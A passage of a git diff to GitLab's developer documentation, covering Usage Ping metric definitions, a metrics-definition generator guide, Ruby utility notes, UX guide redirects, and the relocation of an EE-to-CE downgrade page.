+| `value_type` | boolean | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | | +| `tier` | | +| `skip_validation` | true | + +## `gitaly.clusters` + +Total GitLab Managed clusters both enabled and disabled + +| field | value | +| --- | --- | +| `key_path` | **`gitaly.clusters`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | number | +| `status` | data_available | +| `time_frame` | all | +| `data_source` | | +| `distribution` | | +| `tier` | | +| `skip_validation` | true | + +## `gitaly.servers` + +Total Gitalty Servers + +| field | value | +| --- | --- | +| `key_path` | **`gitaly.servers`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | number | +| `status` | data_available | +| `time_frame` | all | +| `data_source` | | +| `distribution` | | +| `tier` | | +| `skip_validation` | true | + +## `gitaly.version` + +Version of Gitaly + +| field | value | +| --- | --- | +| `key_path` | **`gitaly.version`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | string | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | | +| `tier` | | +| `skip_validation` | true | + +## `gitlab_pages.enabled` + +Whether GitLab Pages is enabled + +| field | value | +| --- | --- | +| `key_path` | **`gitlab_pages.enabled`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | boolean | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | | +| `tier` | | +| `skip_validation` | true | + +## `gitlab_pages.version` + +The version number of GitLab Pages + +| field | value | +| --- | --- | +| `key_path` | **`gitlab_pages.version`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | string | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | | +| `tier` | | +| `skip_validation` | true | + +## `gitlab_shared_runners_enabled` + +Whether shared runners is enabled + +| field | value | +| --- | --- | +| `key_path` | **`gitlab_shared_runners_enabled`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | boolean | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | | +| `tier` | | +| `skip_validation` | true | + +## `grafana_link_enabled` + +Whether Grafana is enabled + +| field | value | +| --- | --- | +| `key_path` | **`grafana_link_enabled`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | boolean | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | | +| `tier` | | +| `skip_validation` | true | + +## `gravatar_enabled` + +Whether gravatar is enabled + +| field | value | +| --- | --- | +| `key_path` | **`gravatar_enabled`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | boolean | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | | +| `tier` | | +| `skip_validation` | true | + +## `historical_max_users` + +The maximum active user count. Active is defined in UsersStatistics model. + +| field | value | +| --- | --- | +| `key_path` | **`historical_max_users`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | string | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | ee | +| `tier` | premium, ultimate | +| `skip_validation` | true | + +## `hostname` + +Host name of GitLab instance + +| field | value | +| --- | --- | +| `key_path` | **`hostname`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | string | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | ce, ee | +| `tier` | free, premium, ultimate | +| `skip_validation` | true | + +## `instance_auto_devops_enabled` + +Whether auto DevOps is enabled + +| field | value | +| --- | --- | +| `key_path` | **`instance_auto_devops_enabled`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | boolean | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | | +| `tier` | | +| `skip_validation` | true | + +## `ldap_enabled` + +Whether LDAP is enabled + +| field | value | +| --- | --- | +| `key_path` | **`ldap_enabled`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | boolean | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | | +| `tier` | | +| `skip_validation` | true | + +## `license_expires_at` + +The date the license ends + +| field | value | +| --- | --- | +| `key_path` | **`license_expires_at`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | string | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | ee | +| `tier` | premium, ultimate | +| `skip_validation` | true | + +## `license_id` + +The ID of the license + +| field | value | +| --- | --- | +| `key_path` | **`license_id`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | string | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | ee | +| `tier` | premium, ultimate | +| `skip_validation` | true | + +## `license_md5` + +The license key of the GitLab instance + +| field | value | +| --- | --- | +| `key_path` | **`license_md5`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | string | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | ee | +| `tier` | free, premium, ultimate | +| `skip_validation` | true | + +## `license_plan` + +The plan of the GitLab license + +| field | value | +| --- | --- | +| `key_path` | **`license_plan`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | string | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | ee | +| `tier` | premium, ultimate | +| `skip_validation` | true | + +## `license_starts_at` + +The date the license starts + +| field | value | +| --- | --- | +| `key_path` | **`license_starts_at`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | string | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | ee | +| `tier` | premium, ultimate | +| `skip_validation` | true | + +## `license_subscription_id` + +Licese zuora_subscription_id + +| field | value | +| --- | --- | +| `key_path` | **`license_subscription_id`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | string | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | ee | +| `tier` | premium, ultimate | +| `skip_validation` | true | + +## `license_trial` + +Whether this is a trial license or not + +| field | value | +| --- | --- | +| `key_path` | **`license_trial`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | boolean | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | ee | +| `tier` | premium, ultimate | +| `skip_validation` | true | + +## `license_trial_ends_on` + +Date the license ends on + +| field | value | +| --- | --- | +| `key_path` | **`license_trial_ends_on`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | string | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | | +| `tier` | | +| `skip_validation` | true | + +## `license_user_count` + +The number of users included in the license + +| field | value | +| --- | --- | +| `key_path` | **`license_user_count`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | string | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | Database | +| `distribution` | ee | +| `tier` | premium, ultimate | +| `skip_validation` | true | + +## `licensee.Company` + +Company on the GitLab license + +| field | value | +| --- | --- | +| `key_path` | **`licensee.Company`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | string | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | ee | +| `tier` | premium, ultimate | +| `skip_validation` | true | + +## `licensee.Email` + +Email on the GitLab license + +| field | value | +| --- | --- | +| `key_path` | **`licensee.Email`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | string | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | ee | +| `tier` | premium, ultimate | +| `skip_validation` | true | + +## `licensee.Name` + +Name on the GitLab license + +| field | value | +| --- | --- | +| `key_path` | **`licensee.Name`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | string | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | ee | +| `tier` | premium, ultimate | +| `skip_validation` | true | + +## `mattermost_enabled` + +Whether Mattermost is enabled + +| field | value | +| --- | --- | +| `key_path` | **`mattermost_enabled`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | boolean | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | | +| `tier` | | +| `skip_validation` | true | + +## `omniauth_enabled` + +Whether OmniAuth is enabled + +| field | value | +| --- | --- | +| `key_path` | **`omniauth_enabled`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | boolean | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | | +| `tier` | | +| `skip_validation` | true | + +## `prometheus_enabled` + +Whether the bundled Prometheus is enabled + +| field | value | +| --- | --- | +| `key_path` | **`prometheus_enabled`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | boolean | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | | +| `tier` | | +| `skip_validation` | true | + +## `prometheus_metrics_enabled` + +Whether Prometheus Metrics endpoint is enabled + +| field | value | +| --- | --- | +| `key_path` | **`prometheus_metrics_enabled`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | boolean | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | | +| `tier` | | +| `skip_validation` | true | + +## `recorded_at` + +When the Usage Ping computation was started + +| field | value | +| --- | --- | +| `key_path` | **`recorded_at`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | string | +| `status` | data_available | +| `milestone` | 8.1 | +| `introduced_by_url` | [Introduced by](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/557) | +| `time_frame` | none | +| `data_source` | Ruby | +| `distribution` | ee, ce | +| `tier` | free, premium, ultimate | + +## `recording_ce_finished_at` + +When the core features were computed + +| field | value | +| --- | --- | +| `key_path` | **`recording_ce_finished_at`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | string | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | ce, ee | +| `tier` | | +| `skip_validation` | true | + +## `recording_ee_finished_at` + +When the EE-specific features were computed + +| field | value | +| --- | --- | +| `key_path` | **`recording_ee_finished_at`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | string | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | ee | +| `tier` | | +| `skip_validation` | true | + +## `redis_hll_counters.issues_edit.g_project_management_issue_title_changed_weekly` + +Distinct users count that changed issue title in a group for last recent week + +| field | value | +| --- | --- | +| `key_path` | **`redis_hll_counters.issues_edit.g_project_management_issue_title_changed_weekly`** | +| `product_stage` | plan | +| `product_group` | `group::project management` | +| `product_category` | issue_tracking | +| `value_type` | number | +| `status` | data_available | +| `milestone` | 13.6 | +| `introduced_by_url` | [Introduced by](https://gitlab.com/gitlab-org/gitlab/-/issues/229918) | +| `time_frame` | 7d | +| `data_source` | Redis_hll | +| `distribution` | ee, ce | +| `tier` | free, premium, ultimate | + +## `reply_by_email_enabled` + +Whether incoming email is setup + +| field | value | +| --- | --- | +| `key_path` | **`reply_by_email_enabled`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | boolean | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | | +| `tier` | | +| `skip_validation` | true | + +## `signup_enabled` + +Whether public signup is enabled + +| field | value | +| --- | --- | +| `key_path` | **`signup_enabled`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | boolean | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | | +| `tier` | | +| `skip_validation` | true | + +## `uuid` + +GitLab instance unique identifier + +| field | value | +| --- | --- | +| `key_path` | **`uuid`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | string | +| `status` | data_available | +| `milestone` | 9.1 | +| `introduced_by_url` | [Introduced by](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1521) | +| `time_frame` | none | +| `data_source` | Database | +| `distribution` | ee, ce | +| `tier` | free, premium, ultimate | + +## `web_ide_clientside_preview_enabled` + +Whether web ide clientside preview is enabled + +| field | value | +| --- | --- | +| `key_path` | **`web_ide_clientside_preview_enabled`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | boolean | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | | +| `tier` | | +| `skip_validation` | true | diff --git a/doc/development/usage_ping/metrics_dictionary.md b/doc/development/usage_ping/metrics_dictionary.md index bae79689f3b..406a223b204 100644 --- a/doc/development/usage_ping/metrics_dictionary.md +++ b/doc/development/usage_ping/metrics_dictionary.md @@ -14,38 +14,33 @@ We are using [JSON Schema](https://gitlab.com/gitlab-org/gitlab/-/blob/master/co This process is meant to ensure consistent and valid metrics defined for Usage Ping. All metrics *must*: -- Comply with the definied [JSON schema](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/schema.json). -- Have a unique `full_path` . +- Comply with the defined [JSON schema](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/schema.json). +- Have a unique `key_path` . - Have an owner. All metrics are stored in YAML files: - [`config/metrics`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/config/metrics) -Each metric is definied in a separate YAML file consisting of a number of fields: +Each metric is defined in a separate YAML file consisting of a number of fields: | Field | Required | Additional information | |---------------------|----------|----------------------------------------------------------------| -| `name` | yes | | +| `key_path` | yes | JSON key path for the metric, location in Usage Ping payload. | | `description` | yes | | | `value_type` | yes | | | `status` | yes | | -| `default_generation`| yes | Default generation path of the metric. One full_path value. (1) | -| `full_path` | yes | Full path of the metric for one or multiple generations. Path of the metric in Usage Ping payload. (1) | -| `group` | yes | The [group](https://about.gitlab.com/handbook/product/categories/#devops-stages) that owns the metric. | +| `product_group` | yes | The [group](https://about.gitlab.com/handbook/product/categories/#devops-stages) that owns the metric. | | `time_frame` | yes | `string`; may be set to a value like "7d" | | `data_source` | yes | `string`: may be set to a value like `database` or `redis_hll`. | | `distribution` | yes | The [distribution](https://about.gitlab.com/handbook/marketing/strategic-marketing/tiers/#definitions) where the metric applies. | | `tier` | yes | The [tier]( https://about.gitlab.com/handbook/marketing/strategic-marketing/tiers/) where the metric applies. | | `product_category` | no | The [product category](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/categories.yml) for the metric. | -| `stage` | no | The [stage](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/stages.yml) for the metric. | +| `product_stage` | no | The [stage](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/stages.yml) for the metric. | | `milestone` | no | The milestone when the metric is introduced. | | `milestone_removed` | no | The milestone when the metric is removed. | | `introduced_by_url` | no | The URL to the Merge Request that introduced the metric. | -1. The default generation path is the location of the metric in the Usage Ping payload. - The `full_path` is the list locations for multiple Usage Ping generaations. - ### Example metric definition The linked [`uuid`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/license/uuid.yml) @@ -53,21 +48,46 @@ YAML file includes an example metric definition, where the `uuid` metric is the instance unique identifier. ```yaml -name: uuid +key_path: uuid description: GitLab instance unique identifier value_type: string product_category: collection -stage: growth +product_stage: growth status: data_available -default_generation: generation_1 -full_path: - generation_1: uuid - generation_2: license.uuid milestone: 9.1 introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1521 -group: group::product intelligence +product_group: group::product intelligence time_frame: none data_source: database -distribution: [ee, ce] -tier: ['free', 'starter', 'premium', 'ultimate', 'bronze', 'silver', 'gold'] +distribution: +- ee +- ce +tier: +- free +- premium +- ultimate +``` + +## Create a new metric definition + +The GitLab codebase provides a dedicated [generator](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/generators/gitlab/usage_metric_definition_generator.rb) to create new metric definitions. + +For uniqueness, the generated file includes a timestamp prefix, in ISO 8601 format. + +The generator takes the key path argument and 2 options and creates the metric YAML definition in corresponding location: + +- `--ee`, `--no-ee` Indicates if metric is for EE. +- `--dir=DIR` indicates the metric directory. It must be one of: `counts_7d`, `7d`, `counts_28d`, `28d`, `counts_all`, `all`, `settings`, `license`. + +```shell +bundle exec rails generate gitlab:usage_metric_definition counts.issues --dir=7d +create config/metrics/counts_7d/issues.yml +``` + +NOTE: +To create a metric definition used in EE, add the `--ee` flag. + +```shell +bundle exec rails generate gitlab:usage_metric_definition counts.issues --ee --dir=7d +create ee/config/metrics/counts_7d/issues.yml ``` diff --git a/doc/development/utilities.md b/doc/development/utilities.md index 2d347df0559..d7baa6b23a5 100644 --- a/doc/development/utilities.md +++ b/doc/development/utilities.md @@ -10,7 +10,7 @@ We have developed a number of utilities to help ease development: ## `MergeHash` -Refer to: <https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/utils/merge_hash.rb>: +Refer to [`merge_hash.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/utils/merge_hash.rb): - Deep merges an array of hashes: @@ -109,9 +109,50 @@ Refer to [`override.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gi Because only a class or prepended module can actually override a method. Including or extending a module into another cannot override anything. +### Interactions with `ActiveSupport::Concern`, `prepend`, and `class_methods` + +When you use `ActiveSupport::Concern` that includes class methods, you do not +get expected results because `ActiveSupport::Concern` doesn't work like a +regular Ruby module. + +Since we already have `Prependable` as a patch for `ActiveSupport::Concern` +to enable `prepend`, it has consequences with how it would interact with +`override` and `class_methods`. As a workaround, `extend` `ClassMethods` +into the defining `Prependable` module. + +This allows us to use `override` to verify `class_methods` used in the +context mentioned above. This workaround only applies when we run the +verification, not when running the application itself. + +Here are example code blocks that demonstrate the effect of this workaround: +following codes: + +```ruby +module Base + extend ActiveSupport::Concern + + class_methods do + def f + end + end +end + +module Derived + include Base +end + +# Without the workaround +Base.f # => NoMethodError +Derived.f # => nil + +# With the workaround +Base.f # => nil +Derived.f # => nil +``` + ## `StrongMemoize` -Refer to <https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/utils/strong_memoize.rb>: +Refer to [`strong_memoize.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/utils/strong_memoize.rb): - Memoize the value even if it is `nil` or `false`. diff --git a/doc/development/ux_guide/animation.md b/doc/development/ux_guide/animation.md deleted file mode 100644 index 0f7a24042bb..00000000000 --- a/doc/development/ux_guide/animation.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -redirect_to: 'https://design.gitlab.com/product-foundations/motion/' ---- - -The content of this document was moved into the [GitLab Design System](https://design.gitlab.com/product-foundations/motion/). diff --git a/doc/development/ux_guide/basics.md b/doc/development/ux_guide/basics.md deleted file mode 100644 index 1e84bf608f4..00000000000 --- a/doc/development/ux_guide/basics.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -redirect_to: 'https://design.gitlab.com/' ---- - -The content of this document was moved into the [GitLab Design System](https://design.gitlab.com/). diff --git a/doc/development/ux_guide/components.md b/doc/development/ux_guide/components.md deleted file mode 100644 index 1e84bf608f4..00000000000 --- a/doc/development/ux_guide/components.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -redirect_to: 'https://design.gitlab.com/' ---- - -The content of this document was moved into the [GitLab Design System](https://design.gitlab.com/). diff --git a/doc/development/ux_guide/copy.md b/doc/development/ux_guide/copy.md deleted file mode 100644 index 1e84bf608f4..00000000000 --- a/doc/development/ux_guide/copy.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -redirect_to: 'https://design.gitlab.com/' ---- - -The content of this document was moved into the [GitLab Design System](https://design.gitlab.com/). diff --git a/doc/development/ux_guide/features.md b/doc/development/ux_guide/features.md deleted file mode 100644 index 1e84bf608f4..00000000000 --- a/doc/development/ux_guide/features.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -redirect_to: 'https://design.gitlab.com/' ---- - -The content of this document was moved into the [GitLab Design System](https://design.gitlab.com/). diff --git a/doc/development/ux_guide/illustrations.md b/doc/development/ux_guide/illustrations.md deleted file mode 100644 index 815f870f8c5..00000000000 --- a/doc/development/ux_guide/illustrations.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -redirect_to: 'https://design.gitlab.com/product-foundations/illustration/' ---- - -The content of this document was moved into the [GitLab Design System](https://design.gitlab.com/product-foundations/illustration/). diff --git a/doc/development/ux_guide/index.md b/doc/development/ux_guide/index.md deleted file mode 100644 index 1e84bf608f4..00000000000 --- a/doc/development/ux_guide/index.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -redirect_to: 'https://design.gitlab.com/' ---- - -The content of this document was moved into the [GitLab Design System](https://design.gitlab.com/). diff --git a/doc/development/ux_guide/principles.md b/doc/development/ux_guide/principles.md deleted file mode 100644 index 1e84bf608f4..00000000000 --- a/doc/development/ux_guide/principles.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -redirect_to: 'https://design.gitlab.com/' ---- - -The content of this document was moved into the [GitLab Design System](https://design.gitlab.com/). diff --git a/doc/development/ux_guide/resources.md b/doc/development/ux_guide/resources.md deleted file mode 100644 index ae092246d05..00000000000 --- a/doc/development/ux_guide/resources.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -redirect_to: 'https://design.gitlab.com/resources/design-resources/' ---- - -The content of this document was moved into the [GitLab Design System](https://design.gitlab.com/resources/design-resources/). diff --git a/doc/development/ux_guide/surfaces.md b/doc/development/ux_guide/surfaces.md deleted file mode 100644 index 1e84bf608f4..00000000000 --- a/doc/development/ux_guide/surfaces.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -redirect_to: 'https://design.gitlab.com/' ---- - -The content of this document was moved into the [GitLab Design System](https://design.gitlab.com/). diff --git a/doc/development/ux_guide/tips.md b/doc/development/ux_guide/tips.md deleted file mode 100644 index 1e84bf608f4..00000000000 --- a/doc/development/ux_guide/tips.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -redirect_to: 'https://design.gitlab.com/' ---- - -The content of this document was moved into the [GitLab Design System](https://design.gitlab.com/). diff --git a/doc/development/ux_guide/users.md b/doc/development/ux_guide/users.md deleted file mode 100644 index a01aa4bcf35..00000000000 --- a/doc/development/ux_guide/users.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'https://about.gitlab.com/handbook/marketing/strategic-marketing/roles-personas/' ---- - -This document was moved to [another location](https://about.gitlab.com/handbook/marketing/strategic-marketing/roles-personas/). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/wikis.md b/doc/development/wikis.md index a2da4843eac..7995afb1e17 100644 --- a/doc/development/wikis.md +++ b/doc/development/wikis.md @@ -1,7 +1,7 @@ --- type: reference, dev stage: Create -group: Knowledge +group: Editor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments description: "GitLab's development guidelines for Wikis" --- @@ -12,8 +12,8 @@ description: "GitLab's development guidelines for Wikis" ## Overview -The wiki functionality in GitLab is based on [Gollum 4.x](https://github.com/gollum/gollum/), -which is used in [Gitaly's](gitaly.md) Ruby service and accessed from the Rails app through Gitaly RPC calls. +The wiki functionality in GitLab is based on [Gollum 4.x](https://github.com/gollum/gollum/). +It's used in [Gitaly's](gitaly.md) Ruby service, and accessed from the Rails app through Gitaly RPC calls. Wikis use Git repositories as storage backend, and can be accessed through: @@ -43,7 +43,7 @@ When rendering wiki pages, we don't use Gollum at all and instead go through a [custom Banzai pipeline](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/banzai/pipeline/wiki_pipeline.rb). This adds some [wiki-specific markup](../user/markdown.md#wiki-specific-markdown), such as Gollum's `[[link]]` syntax. -Since we do not make use of most of Gollum's features, we plan to move away from it entirely at some point. +Because we do not make use of most of Gollum's features, we plan to move away from it entirely at some point. [See this epic](https://gitlab.com/groups/gitlab-org/-/epics/2381) for reference. ## Model classes diff --git a/doc/development/windows.md b/doc/development/windows.md index 08ff29a4e58..07f8a80e95f 100644 --- a/doc/development/windows.md +++ b/doc/development/windows.md @@ -63,7 +63,7 @@ Build a Google Cloud image with the above shared runners repository by doing the ## How to use a Windows image in GCP -1. In a web browser, go to <https://console.cloud.google.com/compute/images>. +1. In a web browser, go to the [Google Cloud Platform console](https://console.cloud.google.com/compute/images). 1. Filter images by the name you used when creating image, `windows` is likely all you need to filter by. 1. Click the image's name. 1. Click the **CREATE INSTANCE** link. @@ -81,7 +81,7 @@ Build a Google Cloud image with the above shared runners repository by doing the 1. Click **Continue** to accept the certificate. 1. Enter the password and click **Next**. -You should now be remoted into a Windows machine with a command prompt. +You should now be connected into a Windows machine with a command prompt. ### Optional: Use GCP VM Instance as a runner diff --git a/doc/development/writing_documentation.md b/doc/development/writing_documentation.md deleted file mode 100644 index 038a4b1e6ea..00000000000 --- a/doc/development/writing_documentation.md +++ /dev/null @@ -1,3 +0,0 @@ ---- -redirect_to: 'documentation/index.md' ---- diff --git a/doc/downgrade_ee_to_ce/README.md b/doc/downgrade_ee_to_ce/README.md index 3cbc68d61ed..c815842480c 100644 --- a/doc/downgrade_ee_to_ce/README.md +++ b/doc/downgrade_ee_to_ce/README.md @@ -1,97 +1,8 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +redirect_to: 'index.md' --- -# Downgrading from EE to CE +This document was moved to [another location](index.md). -If you ever decide to downgrade your Enterprise Edition back to the Community -Edition, there are a few steps you need take before installing the CE package -on top of the current EE package, or, if you are in an installation from source, -before you change remotes and fetch the latest CE code. - -## Disable Enterprise-only features - -First thing to do is to disable the following features. - -### Authentication mechanisms - -Kerberos and Atlassian Crowd are only available on the Enterprise Edition, so -you should disable these mechanisms before downgrading and you should provide -alternative authentication methods to your users. - -### Remove Service Integration entries from the database - -The `GithubService` class is only available in the Enterprise Edition codebase, -so if you downgrade to the Community Edition, the following error displays: - -```plaintext -Completed 500 Internal Server Error in 497ms (ActiveRecord: 32.2ms) - -ActionView::Template::Error (The single-table inheritance mechanism failed to locate the subclass: 'GithubService'. This -error is raised because the column 'type' is reserved for storing the class in case of inheritance. Please rename this -column if you didn't intend it to be used for storing the inheritance class or overwrite Service.inheritance_column to -use another column for that information.) -``` - -All services are created automatically for every project you have, so in order -to avoid getting this error, you need to remove all instances of the -`GithubService` from your database: - -**Omnibus Installation** - -```shell -sudo gitlab-rails runner "Service.where(type: ['GithubService']).delete_all" -``` - -**Source Installation** - -```shell -bundle exec rails runner "Service.where(type: ['GithubService']).delete_all" production -``` - -NOTE: -If you are running `GitLab =< v13.0` you need to also remove `JenkinsDeprecatedService` records -and if you are running `GitLab =< v13.6` you need to also remove `JenkinsService` records. - -### Variables environment scopes - -If you're using this feature and there are variables sharing the same -key, but they have different scopes in a project, then you might want to -revisit the environment scope setting for those variables. - -In CE, environment scopes are completely ignored, therefore you could -accidentally get a variable which you're not expecting for a particular -environment. Make sure that you have the right variables in this case. - -Data is completely preserved, so you could always upgrade back to EE and -restore the behavior if you leave it alone. - -## Downgrade to CE - -After performing the above mentioned steps, you are now ready to downgrade your -GitLab installation to the Community Edition. - -**Omnibus Installation** - -To downgrade an Omnibus installation, it is sufficient to install the Community -Edition package on top of the currently installed one. You can do this manually, -by directly [downloading the package](https://packages.gitlab.com/gitlab/gitlab-ce) -you need, or by adding our CE package repository and following the -[CE installation instructions](https://about.gitlab.com/install/?version=ce). - -**Source Installation** - -To downgrade a source installation, you need to replace the current remote of -your GitLab installation with the Community Edition's remote, fetch the latest -changes, and checkout the latest stable branch: - -```shell -git remote set-url origin git@gitlab.com:gitlab-org/gitlab-foss.git -git fetch --all -git checkout 8-x-stable -``` - -Remember to follow the correct [update guides](../update/README.md) to make -sure all dependencies are up to date. +<!-- This redirect file can be deleted after 2021-05-11. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/downgrade_ee_to_ce/index.md b/doc/downgrade_ee_to_ce/index.md new file mode 100644 index 00000000000..ab95c5f3b09 --- /dev/null +++ b/doc/downgrade_ee_to_ce/index.md @@ -0,0 +1,97 @@ +--- +stage: Enablement 